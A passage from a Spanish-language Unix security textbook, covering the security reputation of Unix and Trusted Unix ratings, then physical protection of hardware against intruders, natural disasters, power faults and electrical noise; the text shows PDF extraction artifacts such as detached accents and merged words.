  • 1.8. ¿SEGURIDAD EN UNIX? 171.8 ¿Seguridad en Unix?En la d´cada de los ochenta para mucha gente el concepto de seguridad era algo inimaginable en eel entorno Unix: la facilidad con que un experto pod´ acceder a un sistema, burlar todos sus ıamecanismos de protecci´n y conseguir el m´ximo nivel de privilegio era algo de sobra conocido por o atodos, por lo que nadie pod´ pensar en un sistema Unix seguro. ıaAfortunadamente, los tiempos han cambiado mucho desde entonces. Aunque en un principio yseg´n uno de sus creadores, Unix no se dise˜´ para ser seguro ([Rit86]), a finales de los 80 se con- u novirti´ en el primer sistema operativo en alcanzar niveles de seguridad quasi militares ([HJAW88], o[Ser91]. . . ). En la actualidad se puede considerar el sistema operativo de prop´sito general m´s o afiable del mercado; desde los clones habituales (Solaris, HP-UX, IRIX. . . ) hasta los ‘Trusted Unix’(de los que hablaremos a continuaci´n), pasando por los sistemas gratuitos (Linux, FreeBSD. . . ), ocualquier entorno Unix puede ofrecer los mecanismos de seguridad suficientes para satisfacer las ne-cesidades de la mayor´ de instituciones. Los Unices habituales, como Solaris o Linux, son bastante ıainseguros tal y como se instalan por defecto (out-of-the-box), como veremos a la hora de hablar de laseguridad l´gica; esto significa que requieren de una m´ o ınima puesta a punto, en cuanto a seguridadse refiere, antes de ponerlos a trabajar con unas m´ ınimas garant´ de fiabilidad. Una vez realizada ıasesta puesta a punto suelen tener una seguridad aceptable en redes de prop´sito general. El proble- oma es que en muchas ocasiones se pone a trabajar a Unix tal y como se instala por defecto, lo queconvierte a cualquier sistema operativo, Unix o no, en un aut´ntico agujero en cuanto a seguridad ese refiere: cuentas sin password o con passwords por defecto, servicios abiertos, sistemas de ficherossusceptibles de ser compartidos. . .Dentro de la familia Unix existen una serie de sistemas denominados ‘Unix seguros’ o ‘Unix fiables’(Trusted Unix); se trata de sistemas con excelentes sistemas de control, evaluados por la NationalSecurity Agency (NSA) estadounidense y clasificados en niveles seguros (B o A) seg´n [B+ 85]. Entre uestos Unix seguros podemos encontrar AT&T System V/MLS y OSF/1 (B1), Trusted Xenix8 (B2)y XTS-300 STOP 4.1 (B3), considerados los sistemas operativos m´s seguros del mundo (siempre aseg´n la NSA). La gran mayor´ de Unices (Solaris, AIX. . . ) est´n clasificados como C2, y algunos u ıa aotros, como Linux, se consideran sistemas C2 de facto: al no tener una empresa que pague el procesode evaluaci´n de la NSA no est´n catalogados, aunque puedan implementar todos los mecanismos o ade los sistemas C2.A la vista de lo comentado en este punto, parece claro que Unix ha dejado de ser ese sistemaarcaico e inseguro de sus primeros tiempos para convertirse en el entorno de trabajo m´s fiable adentro de la gama de sistemas operativos de prop´sito general; sin embargo, por alguna extra˜a o nraz´n, mucha gente tiende a considerar todav´ a los equipos Unix como amenazas en la red, espe- o ıacialmente a los clones gratuitos como Linux o FreeBSD que habitualmente se ejecutan en PCs; elhecho de que sean gratuitos no implica en ning´n momento que sean inestables, y mucho menos, in- useguros: empresas tan importantes como Yahoo! (www.yahoo.com) o Citro¨n (www.citroen.com), eo el propio servicio postal de Estados Unidos utilizan estos entornos como servidores web o comofirewall en sus redes. No obstante, las pol´ ıticas de marketing de ciertas empresas desarrolladorastienden a popularizar (y lamentablemente lo consiguen) ideas err´neas sobre la seguridad en Unix, olo que motiva que algunas organizaciones intenten buscar sistemas alternativos, casi siempre susti-tuyendo m´quinas Unix por entornos Windows NT o Windows 9x. No creo que haga falta hacer acomentarios sobre la seguridad de estos sistemas, por lo que no entraremos en detalles sobre ella;si alguien est´ interesado, o duda de la capacidad de Unix frente a estos entornos, puede consultar aalguna de las comparativas o de los art´ ıculos publicados sobre el tema por universidades o porprestigiosos nombres dentro del mundo de la seguridad inform´tica, o simplemente interesarse por ael tipo de sistemas utilizados en centros de investigaci´n como AT&T y la NASA, o en organismos ode seguridad como el FBI y la NSA: Unix, por supuesto. 8 Este sistema, de la compa˜´ Trusted Information Systems, Inc, obviamente no tiene nada que ver con el antiguo nıaMicrosoft Xenix, de Microsoft Corporation
  • 18 CAP´ ´ ITULO 1. INTRODUCCION Y CONCEPTOS PREVIOS
  • Parte ISeguridad del entorno de operaciones 19
  • Cap´ ıtulo 2Seguridad f´ ısica de los sistemas2.1 Introducci´n oSeg´n [B+ 88], la seguridad f´ u ısica de los sistemas inform´ticos consiste en la aplicaci´n de barreras a of´ ısicas y procedimientos de control como medidas de prevenci´n y contramedidas contra las amena- ozas a los recursos y la informaci´n confidencial. M´s claramente, y particularizando para el caso o ade equipos Unix y sus centros de operaci´n, por ‘seguridad f´ o ısica’ podemos entender todas aquellasmecanismos – generalmente de prevenci´n y detecci´n – destinados a proteger f´ o o ısicamente cualquierrecurso del sistema; estos recursos son desde un simple teclado hasta una cinta de backup con todala informaci´n que hay en el sistema, pasando por la propia cpu de la m´quina. o aDesgraciadamente, la seguridad f´ ısica es un aspecto olvidado con demasiada frecuencia a la hora dehablar de seguridad inform´tica en general; en muchas organizaciones se suelen tomar medidas para aprevenir o detectar accesos no autorizados o negaciones de servicio, pero rara vez para prevenir laacci´n de un atacante que intenta acceder f´ o ısicamente a la sala de operaciones o al lugar donde sedepositan las impresiones del sistema. Esto motiva que en determinadas situaciones un atacantese decline por aprovechar vulnerabilidades f´ ısicas en lugar de l´gicas, ya que posiblemente le sea om´s f´cil robar una cinta con una imagen completa del sistema que intentar acceder a ´l mediante a a efallos en el software. Hemos de ser conscientes de que la seguridad f´ ısica es demasiado importantecomo para ignorarla: un ladr´n que roba un ordenador para venderlo, un incendio o un pirata que oaccede sin problemas a la sala de operaciones nos pueden hacer mucho m´s da˜o que un intruso a nque intenta conectar remotamente con una m´quina no autorizada; no importa que utilicemos los am´s avanzados medios de cifrado para conectar a nuestros servidores, ni que hayamos definido una apol´ıtica de firewalling muy restrictiva: si no tenemos en cuenta factores f´ ısicos, estos esfuerzos paraproteger nuestra informaci´n no van a servir de nada. Adem´s, en el caso de organismos con reque- o arimientos de seguridad medios, unas medidas de seguridad f´ ısicas ejercen un efecto disuasorio sobrela mayor´ de piratas: como casi todos los atacantes de los equipos de estos entornos son casuales ıa(esto es, no tienen inter´s espec´ e ıfico sobre nuestros equipos, sino sobre cualquier equipo), si notan atrav´s de medidas f´ e ısicas que nuestra organizaci´n est´ preocupada por la seguridad probablemente o aabandonar´n el ataque para lanzarlo contra otra red menos protegida. aAunque como ya dijimos en la introducci´n este proyecto no puede centrarse en el dise˜o de edifi- o ncios resistentes a un terremoto o en la instalaci´n de alarmas electr´nicas, s´ que se van a intentar o o ıcomentar ciertas medidas de prevenci´n y detecci´n que se han de tener en cuenta a la hora de o odefinir mecanismos y pol´ ıticas para la seguridad de nuestros equipos. Pero hemos de recordar quecada sitio es diferente, y por tanto tambi´n lo son sus necesidades de seguridad; de esta forma, no se epueden dar recomendaciones espec´ ıficas sino pautas generales a tener en cuenta, que pueden variardesde el simple sentido com´n (como es el cerrar con llave la sala de operaciones cuando salimos ude ella) hasta medidas mucho m´s complejas, como la prevenci´n de radiaciones electromagn´ticas a o ede los equipos o la utilizaci´n de degaussers. En entornos habituales suele ser suficiente con un o 21
  • 22 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASpoco de sentido com´n para conseguir una m´ u ınima seguridad f´ısica; de cualquier forma, en cadainstituci´n se ha de analizar el valor de lo que se quiere proteger y la probabilidad de las amenazas opotenciales, para en funci´n de los resultados obtenidos dise˜ar un plan de seguridad adecuado. o nPor ejemplo, en una empresa ubicada en Valencia quiz´s parezca absurdo hablar de la prevenci´n a oante terremotos (por ser esta un ´rea de bajo riesgo), pero no suceder´ lo mismo en una universidad a asituada en una zona s´ısmicamente activa; de la misma forma, en entornos de I+D es absurdo hablarde la prevenci´n ante un ataque nuclear, pero en sistemas militares esta amenaza se ha de tener en ocuenta1 .2.2 Protecci´n del hardware oEl hardware es frecuentemente el elemento m´s caro de todo sistema inform´tico2 . Por tanto, las a amedidas encaminadas a asegurar su integridad son una parte importante de la seguridad f´ ısica decualquier organizaci´n, especialmente en las dedicadas a I+D: universidades, centros de investiga- oci´n, institutos tecnol´gicos. . . suelen poseer entre sus equipos m´quinas muy caras, desde servidores o o acon una gran potencia de c´lculo hasta routers de ultima tecnolog´ pasando por modernos siste- a ´ ıa,mas de transmisi´n de datos como la fibra ´ptica. o oSon muchas las amenazas al hardware de una instalaci´n inform´tica; aqu´ se van a presentar o a ıalgunas de ellas, sus posibles efectos y algunas soluciones, si no para evitar los problemas s´ al ımenos para minimizar sus efectos.2.2.1 Acceso f´ ısicoLa posibilidad de acceder f´ ısicamente a una m´quina Unix – en general, a cualquier sistema ope- arativo – hace in´tiles casi todas las medidas de seguridad que hayamos aplicado sobre ella: hemos ude pensar que si un atacante puede llegar con total libertad hasta una estaci´n puede por ejemplo oabrir la CPU y llevarse un disco duro; sin necesidad de privilegios en el sistema, sin importar larobustez de nuestros cortafuegos, sin nisiquiera una clave de usuario, el atacante podr´ seguramente amodificar la informaci´n almacenada, destruirla o simplemente leerla. Incluso sin llegar al extremo ode desmontar la m´quina, que quiz´s resulte algo exagerado en entornos cl´sicos donde hay cierta a a avigilancia, como un laboratorio o una sala de inform´tica, la persona que accede al equipo puede apararlo o arrancar una versi´n diferente del sistema operativo sin llamar mucho la atenci´n. Si por o oejemplo alguien accede a un laboratorio con m´quinas Linux, seguramente le resultar´ f´cil utilizar a a aun disco de arranque, montar los discos duros de la m´quina y extraer de ellos la informaci´n de- a oseada; incluso es posible que utilice un ramdisk con ciertas utilidades que constituyan una amenazapara otros equipos, como nukes o sniffers.Visto esto, parece claro que cierta seguridad f´ ısica es necesaria para garantizar la seguridad globalde la red y los sistemas conectados a ella; evidentemente el nivel de seguridad f´ ısica depende comple-tamente del entorno donde se ubiquen los puntos a proteger (no es necesario hablar s´lo de equipos oUnix, sino de cualquier elemento f´ ısico que se pueda utilizar para amenazar la seguridad, comouna toma de red apartada en cualquier rinc´n de un edificio de nuestra organizaci´n). Mientras o oque parte de los equipos estar´n bien protegidos, por ejemplo los servidores de un departamento ao las m´quinas de los despachos, otros muchos estar´n en lugares de acceso semip´blico, como a a ulaboratorios de pr´cticas; es justamente sobre estos ultimos sobre los que debemos extremar las a ´precauciones, ya que lo m´s f´cil y discreto para un atacante es acceder a uno de estos equipos y, a aen segundos, lanzar un ataque completo sobre la red. 1 Al menos en teor´ ya que nadie sabe con certeza lo que sucede en organismos de defensa, excepto ellos mismos. ıa, 2 Como dijimos, el m´s caro, pero no el m´s dif´ de recuperar. a a ıcil
  • ´2.2. PROTECCION DEL HARDWARE 23Prevenci´n o¿C´mo prevenir un acceso f´ o ısico no autorizado a un determinado punto? Hay soluciones para to-dos los gustos, y tambi´n de todos los precios: desde analizadores de retina hasta videoc´maras, e apasando por tarjetas inteligentes o control de las llaves que abren determinada puerta. Todos losmodelos de autenticaci´n de usuarios (cap´ o ıtulo 8) son aplicables, aparte de para controlar el accesol´gico a los sistemas, para controlar el acceso f´ o ısico; de todos ellos, quiz´s los m´s adecuados a la a aseguridad f´ısica sean los biom´tricos y los basados en algo pose´ e ıdo; aunque como comentaremosm´s tarde suelen resultar algo caros para utilizarlos masivamente en entornos de seguridad media. aPero no hay que irse a sistemas tan complejos para prevenir accesos f´ ısicos no autorizados; normastan elementales como cerrar las puertas con llave al salir de un laboratorio o un despacho o bloquearlas tomas de red que no se suelan utilizar y que est´n situadas en lugares apartados son en ocasiones em´s que suficientes para prevenir ataques. Tambi´n basta el sentido com´n para darse cuenta de a e uque el cableado de red es un elemento importante para la seguridad, por lo que es recomenda-ble apartarlo del acceso directo; por desgracia, en muchas organizaciones podemos ver excelentesejemplos de lo que no hay que hacer en este sentido: cualquiera que pasee por entornos m´s o amenos amplios (el campus de una universidad, por ejemplo) seguramente podr´ ver – o pinchar, o acortar. . . – cables descolgados al alcance de todo el mundo, especialmente durante el verano, ´poca eque se suele aprovechar para hacer obras.Todos hemos visto pel´ ıculas en las que se mostraba un estricto control de acceso a instalacio-nes militares mediante tarjetas inteligentes, analizadores de retina o verificadores de la geometr´ ıade la mano; aunque algunos de estos m´todos a´n suenen a ciencia ficci´n y sean demasiado caros e u opara la mayor parte de entornos (recordemos que si el sistema de protecci´n es m´s caro que lo que o ase quiere proteger tenemos un grave error en nuestros planes de seguridad), otros se pueden aplicar,y se aplican, en muchas organizaciones. Concretamente, el uso de lectores de tarjetas para poderacceder a ciertas dependencias es algo muy a la orden del d´ la idea es sencilla: alguien pasa una ıa;tarjeta por el lector, que conecta con un sistema – por ejemplo un ordenador – en el que existe unabase de datos con informaci´n de los usuarios y los recintos a los que se le permite el acceso. Si la otarjeta pertenece a un usuario capacitado para abrir la puerta, ´sta se abre, y en caso contrario se eregistra el intento y se niega el acceso. Aunque este m´todo quiz´s resulte algo caro para extenderlo e aa todos y cada uno de los puntos a proteger en una organizaci´n, no ser´ tan descabellado instalar o ıapeque˜os lectores de c´digos de barras conectados a una m´quina Linux en las puertas de muchas n o aa´reas, especialmente en las que se maneja informaci´n m´s o menos sensible. Estos lectores podr´ o a ıanleer una tarjeta que todos los miembros de la organizaci´n poseer´ o ıan, conectar con la base de datosde usuarios, y autorizar o denegar la apertura de la puerta. Se tratar´ de un sistema sencillo ıade implementar, no muy caro, y que cubre de sobra las necesidades de seguridad en la mayor´ ıade entornos: incluso se podr´ abaratar si en lugar de utilizar un mecanismo para abrir y cerrar ıapuertas el sistema se limitara a informar al administrador del ´rea o a un guardia de seguridad amediante un mensaje en pantalla o una luz encendida: de esta forma los unicos gastos ser´ los ´ ıancorrespondientes a los lectores de c´digos de barras, ya que como equipo con la base de datos se opuede utilizar una m´quina vieja o un servidor de prop´sito general. a oDetecci´n oCuando la prevenci´n es dif´ por cualquier motivo (t´cnico, econ´mico, humano. . . ) es deseable o ıcil e oque un potencial ataque sea detectado cuanto antes, para minimizar as´ sus efectos. Aunque en la ıdetecci´n de problemas, generalmente accesos f´ o ısicos no autorizados, intervienen medios t´cnicos, ecomo c´maras de vigilancia de circuito cerrado o alarmas, en entornos m´s normales el esfuerzo a aen detectar estas amenazas se ha de centrar en las personas que utilizan los sistemas y en lasque sin utilizarlos est´n relacionadas de cierta forma con ellos; sucede lo mismo que con la segu- aridad l´gica: se ha de ver toda la protecci´n como una cadena que falla si falla su eslab´n m´s d´bil. o o o a eEs importante concienciar a todos de su papel en la pol´ ıtica de seguridad del entorno; si por
  • 24 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASejemplo un usuario autorizado detecta presencia de alguien de quien sospecha que no tiene autori-zaci´n para estar en una determinada estancia debe avisar inmediatamente al administrador o al oresponsable de los equipos, que a su vez puede avisar al servicio de seguridad si es necesario. Noobstante, utilizar este servicio debe ser s´lamente un ultimo recurso: generalmente en la mayor´ o ´ ıade entornos no estamos tratando con terroristas, sino por fortuna con elementos mucho menospeligrosos. Si cada vez que se sospecha de alguien se avisa al servicio de seguridad esto puederepercutir en el ambiente de trabajo de los usuarios autorizados estableciendo cierta presi´n que ono es en absoluto recomendable; un simple ‘¿puedo ayudarte en algo?’ suele ser m´s efectivo que aun guardia solicitando una identificaci´n formal. Esto es especialmente recomendable en lugares ode acceso restringido, como laboratorios de investigaci´n o centros de c´lculo, donde los usuarios o ahabituales suelen conocerse entre ellos y es f´cil detectar personas ajenas al entorno. a2.2.2 Desastres naturalesEn el anterior punto hemos hecho referencia a accesos f´ ısicos no autorizados a zonas o a elementosque pueden comprometer la seguridad de los equipos o de toda la red; sin embargo, no son estas lasunicas amenazas relacionadas con la seguridad f´´ ısica. Un problema que no suele ser tan habitual,pero que en caso de producirse puede acarrear grav´ ısimas consecuencias, es el derivado de losdesastres naturales y su (falta de) prevenci´n. oTerremotosLos terremotos son el desastre natural menos probable en la mayor´ de organismos ubicados en ıaEspa˜a, simplemente por su localizaci´n geogr´fica: no nos encontramos en una zona donde se n o asuelan producir temblores de intensidad considerable; incluso en zonas del sur de Espa˜a, como nAlmer´ donde la probabilidad de un temblor es m´s elevada, los terremotos no suelen alcanzan la ıa, amagnitud necesaria para causar da˜os en los equipos. Por tanto, no se suelen tomar medidas serias ncontra los movimientos s´ısmicos, ya que la probabilidad de que sucedan es tan baja que no merecela pena invertir dinero para minimizar sus efectos.De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para lamayor parte de organizaciones en Espa˜a (evidentemente ser´ igual de caras en zonas como Los n ıan´Angeles, pero all´ el coste estar´ justificado por la alta probabilidad de que se produzcan movimien- ı ıatos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevenci´n; por ejemplo, oes muy recomendable no situar nunca equipos delicados en superficies muy elevadas (aunque tam-poco es bueno situarlos a ras de suelo, como veremos al hablar de inundaciones). Si lo hacemos,un peque˜o temblor puede tirar desde una altura considerable un complejo hardware, lo que con ntoda probabilidad lo inutilizar´; puede incluso ser conveniente (y barato) utilizar fijaciones para los aelementos m´s cr´ a ıticos, como las CPUs, los monitores o los routers. De la misma forma, tampocoes recomendable situar objetos pesados en superficies altas cercanas a los equipos, ya que si lo quecae son esos objetos tambi´n da˜ar´n el hardware. e n aPara evitar males mayores ante un terremoto, tambi´n es muy importante no situar equipos cerca ede las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la p´rdida de datos o ehardware pierde importancia frente a los posibles accidentes – incluso mortales – que puede causaruna pieza voluminosa a las personas a las que les cae encima. Adem´s, situando los equipos alejados ade las ventanas estamos dificultando las acciones de un potencial ladr´n que se descuelgue por la ofachada hasta las ventanas, ya que si el equipo estuviera cerca no tendr´ m´s que alargar el brazo ıa apara llev´rselo. aQuiz´s hablar de terremotos en un trabajo dedicado a sistemas ‘normales’ especialmente centr´ndo- a anos en lugares con escasa actividad s´ ısmica – como es Espa˜a y m´s concretamente la Comunidad n aValenciana – pueda resultar incluso gracioso, o cuanto menos exagerado. No obstante, no debemosentender por terremotos unicamente a los grandes desastres que derrumban edificios y destrozan ´
  • ´2.2. PROTECCION DEL HARDWARE 25v´ de comunicaci´n; quiz´s ser´ mas apropiado hablar incluso de vibraciones, desde las m´s ıas o a ıa agrandes (los terremotos) hasta las m´s peque˜as (un simple motor cercano a los equipos). Las vi- a nbraciones, incluso las m´s imperceptibles, pueden da˜ar seriamente cualquier elemento electr´nico a n ode nuestras m´quinas, especialmente si se trata de vibraciones cont´ a ınuas: los primeros efectos pue-den ser problemas con los cabezales de los discos duros o con los circuitos integrados que se da˜an nen las placas. Para hacer frente a peque˜as vibraciones podemos utilizar plataformas de goma ndonde situar a los equipos, de forma que la plataforma absorba la mayor parte de los movimientos;incluso sin llegar a esto, una regla com´n es evitar que entren en contacto equipos que poseen una uelectr´nica delicada con hardware m´s mec´nico, como las impresoras: estos dispositivos no paran o a ade generar vibraciones cuando est´n en funcionamiento, por lo que situar una peque˜a impresora a nencima de la CPU de una m´quina es una idea nefasta. Como dicen algunos expertos en seguridad a([GS96]), el espacio en la sala de operaciones es un problema sin importancia comparado con lasconsecuencias de fallos en un disco duro o en la placa base de un ordenador.Tormentas el´ctricas eLas tormentas con aparato el´ctrico, especialmente frecuentes en verano (cuando mucho personal ese encuentra de vacaciones, lo que las hace m´s peligrosas) generan subidas s´bitas de tensi´n in- a u ofinitamente superiores a las que pueda generar un problema en la red el´ctrica, como veremos a econtinuaci´n. Si cae un rayo sobre la estructura met´lica del edificio donde est´n situados nues- o a atros equipos es casi seguro que podemos ir pensando en comprar otros nuevos; sin llegar a ser tandram´ticos, la ca´ de un rayo en un lugar cercano puede inducir un campo magn´tico lo suficien- a ıda etemente intenso como para destruir hardware incluso protegido contra voltajes elevados.Sin embargo, las tormentas poseen un lado positivo: son predecibles con m´s o menos exacti- atud, lo que permite a un administrador parar sus m´quinas y desconectarlas de la l´ a ınea el´ctrica3 . eEntonces, ¿cu´l es el problema? Aparte de las propias tormentas, el problema son los responsables ade los equipos: la ca´ de un rayo es algo poco probable – pero no imposible – en una gran ciudad ıdadonde existen artilugios destinados justamente a atraer rayos de una forma controlada; tanto es as´ ıque mucha gente ni siquiera ha visto caer cerca un rayo, por lo que directamente tiende a asumirque eso no le va a suceder nunca, y menos a sus equipos. Por tanto, muy pocos administradoresse molestan en parar m´quinas y desconectarlas ante una tormenta; si el fen´meno sucede durante a olas horas de trabajo y la tormenta es fuerte, quiz´s s´ que lo hace, pero si sucede un s´bado por la a ı anoche nadie va a ir a la sala de operaciones a proteger a los equipos, y nadie antes se habr´ tomado ala molestia de protegerlos por una simple previsi´n meteorol´gica. Si a esto a˜adimos lo que antes o o nhemos comentado, que las tormentas se producen con m´s frecuencia en pleno verano, cuando casi atoda la plantilla est´ de vacaciones y s´lo hay un par de personas de guardia, tenemos el caldo de a ocultivo ideal para que una amenaza que a priori no es muy grave se convierta en el final de algunosde nuestros equipos. Conclusi´n: todos hemos de tomar m´s en serio a la Naturaleza cuando nos o aavisa con un par de truenos. . .Otra medida de protecci´n contra las tormentas el´ctricas hace referencia a la ubicaci´n de los o e omedios magn´ticos, especialmente las copias de seguridad; aunque hablaremos con m´s detalle de e ala protecci´n de los backups en el punto 2.3.2, de momento podemos adelantar que se han de al- omacenar lo m´s alejados posible de la estructura met´lica de los edificios. Un rayo en el propio a aedificio, o en un lugar cercano, puede inducir un campo electromagn´tico lo suficientemente grande ecomo para borrar de golpe todas nuestras cintas o discos, lo que a˜ade a los problemas por da˜os n nen el hardware la p´rdida de toda la informaci´n de nuestros sistemas. e oInundaciones y humedadCierto grado de humedad es necesario para un correcto funcionamiento de nuestras m´quinas: en aambientes extremadamente secos el nivel de electricidad est´tica es elevado, lo que, como veremos a 3 Al contrario de lo que mucha gente piensa, no basta s´lo con apagar un sistema para que se encuentre a salvo. o
  • 26 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASm´s tarde, puede transformar un peque˜o contacto entre una persona y un circuito, o entre dife- a nrentes componentes de una m´quina, en un da˜o irreparable al hardware y a la informaci´n. No a n oobstante, niveles de humedad elevados son perjudiciales para los equipos porque pueden producircondensaci´n en los circuitos integrados, lo que origina cortocircuitos que evidentemente tienen oefectos negativos sobre cualquier elemento electr´nico de una m´quina. o aControlar el nivel de humedad en los entornos habituales es algo innecesario, ya que por nor-ma nadie ubica estaciones en los lugares m´s h´medos o que presenten situaciones extremas; no a uobstante, ciertos equipos son especialmente sensibles a la humedad, por lo que es conveniente con-sultar los manuales de todos aquellos de los que tengamos dudas. Quiz´s sea necesario utilizar aalarmas que se activan al detectar condiciones de muy poca o demasiada humedad, especialmenteen sistemas de alta disponibilidad o de altas prestaciones, donde un fallo en un componente puedeser crucial.Cuando ya no se habla de una humedad m´s o menos elevada sino de completas inundaciones, alos problemas generados son mucho mayores. Casi cualquier medio (una m´quina, una cinta, un arouter. . . ) que entre en contacto con el agua queda autom´ticamente inutilizado, bien por el propio al´ ıquido o bien por los cortocircuitos que genera en los sistemas electr´nicos. oEvidentemente, contra las inundaciones las medidas m´s efectivas son las de prevenci´n (frente a oa las de detecci´n); podemos utilizar detectores de agua en los suelos o falsos suelos de las salas ode operaciones, y apagar autom´ticamente los sistemas en caso de que se activen. Tras apagar los asistemas podemos tener tambi´n instalado un sistema autom´tico que corte la corriente: algo muy e acom´n es intentar sacar los equipos – previamente apagados o no – de una sala que se est´ empe- u azando a inundar; esto, que a primera vista parece lo l´gico, es el mayor error que se puede cometer osi no hemos desconectado completamente el sistema el´ctrico, ya que la mezcla de corriente y agua epuede causar incluso la muerte a quien intente salvar equipos. Por muy caro que sea el hardwareo por muy valiosa que sea la informaci´n a proteger, nunca ser´n magnitudes comparables a lo o aque supone la p´rdida de vidas humanas. Otro error com´n relacionado con los detectores de agua e ues situar a los mismos a un nivel superior que a los propios equipos a salvaguardar (¡incluso enel techo, junto a los detectores de humo!); evidentemente, cuando en estos casos el agua llega aldetector poco se puede hacer ya por las m´quinas o la informaci´n que contienen. a oMedidas de protecci´n menos sofisticadas pueden ser la instalaci´n de un falso suelo por enci- o oma del suelo real, o simplemente tener la precauci´n de situar a los equipos con una cierta elevaci´n o orespecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya hemos comentadoal hablar de terremotos y vibraciones.2.2.3 Desastres del entornoElectricidadQuiz´s los problemas derivados del entorno de trabajo m´s frecuentes son los relacionados con el a asistema el´ctrico que alimenta nuestros equipos; cortocircuitos, picos de tensi´n, cortes de flujo. . . a e odiario amenazan la integridad tanto de nuestro hardware como de los datos que almacena o quecirculan por ´l. eEl problema menos com´n en las instalaciones modernas son las subidas de tensi´n, conocidas u ocomo ‘picos’ porque generalmente duran muy poco: durante unas fracciones de segundo el voltajeque recibe un equipo sube hasta sobrepasar el l´ ımite aceptable que dicho equipo soporta. Lo normales que estos picos apenas afecten al hardware o a los datos gracias a que en la mayor´ de equipos ıahay instalados fusibles, elementos que se funden ante una subida de tensi´n y dejan de conducir la ocorriente, provocando que la m´quina permanezca apagada. Disponga o no de fusibles el equipo a aproteger (lo normal es que s´ los tenga) una medida efectiva y barata es utilizar tomas de tierra para ı
  • ´2.2. PROTECCION DEL HARDWARE 27asegurar a´n m´s la integridad; estos mecanismos evitan los problemas de sobretensi´n desviando u a oel exceso de corriente hacia el suelo de una sala o edificio, o simplemente hacia cualquier lugar convoltaje nulo. Una toma de tierra sencilla puede consistir en un buen conductor conectado a loschasis de los equipos a proteger y a una barra maciza, tambi´n conductora, que se introduce lo m´s e aposible en el suelo; el coste de la instalaci´n es peque˜o, especialmente si lo comparamos con las o np´rdidas que supondr´ un incendio que afecte a todos o a una parte de nuestros equipos. e ıaIncluso teniendo un sistema protegido con los m´todos anteriores, si la subida de tensi´n dura e odemasiado, o si es demasiado r´pida, podemos sufrir da˜os en los equipos; existen acondicionadores a nde tensi´n comerciales que protegen de los picos hasta en los casos m´s extremos, y que tambi´n se o a eutilizan como filtros para ruido el´ctrico. Aunque en la mayor´ de situaciones no es necesario su e ıauso, si nuestra organizaci´n tiene problemas por el voltaje excesivo quiz´s sea conveniente instalar o aalguno de estos aparatos.Un problema que los estabilizadores de tensi´n o las tomas de tierra no pueden solucionar es ojustamente el contrario a las subidas de tensi´n: las bajadas, situaciones en las que la corriente odesciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero sinllegar a ser lo suficientemente bajo para que la m´quina se apague ([SBL90]). En estas situaciones ala m´quina se va a comportar de forma extra˜a e incorrecta, por ejemplo no aceptando algunas a ninstrucciones, no completando escrituras en disco o memoria, etc. Es una situaci´n similar a la de ouna bombilla que pierde intensidad moment´neamente por falta de corriente, pero trasladada a un asistema que en ese peque˜o intervalo ejecuta miles o millones de instrucciones y transferencias de ndatos.Otro problema, much´ ısimo m´s habituales que los anteriores en redes el´ctricas modernas, son a elos cortes en el fluido el´ctrico que llega a nuestros equipos. Aunque un simple corte de corriente eno suele afectar al hardware, lo m´s peligroso (y que sucede en muchas ocasiones) son las idas y avenidas r´pidas de la corriente; en esta situaci´n, aparte de perder datos, nuestras m´quinas pueden a o asufrir da˜os. nLa forma m´s efectiva de proteger nuestros equipos contra estos problemas de la corriente el´ctrica a ees utilizar una SAI (Servicio de Alimentaci´n Ininterrumpido) conectada al elemento que quere- omos proteger. Estos dispositivos mantienen un flujo de corriente correcto y estable de corriente,protegiendo as´ los equipos de subidas, cortes y bajadas de tensi´n; tienen capacidad para seguir ı oalimentando las m´quinas incluso en caso de que no reciban electricidad (evidentemente no las aalimentan de forma indefinida, sino durante un cierto tiempo – el necesario para detener el sistemade forma ordenada). Por tanto, en caso de fallo de la corriente el SAI informar´ a la m´quina Unix, a aque a trav´s de un programa como /sbin/powerd recibe la informaci´n y decide cuanto tiempo de e ocorriente le queda para poder pararse correctamente; si de nuevo vuelve el flujo la SAI vuelve ainformar de este evento y el sistema desprograma su parada. As´ de simple: por poco m´s de diez ı amil pesetas podemos obtener una SAI peque˜a, m´s que suficiente para muchos servidores, que nos n ava a librar de la mayor´ de los problemas relacionados con la red el´ctrica. ıa eUn ultimo problema contra el que ni siquiera las SAIs nos protegen es la corriente est´tica, un ´ afen´meno extra˜o del que la mayor´ de gente piensa que no afecta a los equipos, s´lo a otras o n ıa opersonas. Nada m´s lejos de la realidad: simplemente tocar con la mano la parte met´lica de te- a aclado o un conductor de una placa puede destruir un equipo completamente. Se trata de corrientede muy poca intensidad pero un alt´ ısimo voltaje, por lo que aunque la persona no sufra ning´n uda˜o – s´lo un peque˜o calambrazo – el ordenador sufre una descarga que puede ser suficiente para n o ndestrozar todos sus componentes, desde el disco duro hasta la memoria RAM. Contra el problemade la corriente est´tica existen muchas y muy baratas soluciones: spray antiest´tico, ionizadores a aantiest´ticos. . . No obstante en la mayor´ de situaciones s´lo hace falta un poco de sentido com´n a ıa o udel usuario para evitar accidentes: no tocar directamente ninguna parte met´lica, protegerse si adebe hacer operaciones con el hardware, no mantener el entorno excesivamente seco. . .
  • 28 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASRuido el´ctrico eDentro del apartado anterior podr´ ıamos haber hablado del ruido el´ctrico como un problema m´s e arelacionado con la electricidad; sin embargo este problema no es una incidencia directa de la co-rriente en nuestros equipos, sino una incidencia relacionada con la corriente de otras m´quinas que apueden afectar al funcionamiento de la nuestra. El ruido el´ctrico suele ser generado por motores o epor maquinaria pesada, pero tambi´n puede serlo por otros ordenadores o por multitud de aparatos, eespecialmente muchos de los instalados en los laboratorios de organizaciones de I+D, y se transmitea trav´s del espacio o de l´ e ıneas el´ctricas cercanas a nuestra instalaci´n. e oPara prevenir los problemas que el ruido el´ctrico puede causar en nuestros equipos lo m´s ba- e arato es intentar no situar hardware cercano a la maquinaria que puede causar dicho ruido; si notenemos m´s remedio que hacerlo, podemos instalar filtros en las l´ a ıneas de alimentaci´n que llegan ohasta los ordenadores. Tambi´n es recomendable mantener alejados de los equipos dispositivos emi- esores de ondas, como tel´fonos m´viles, transmisores 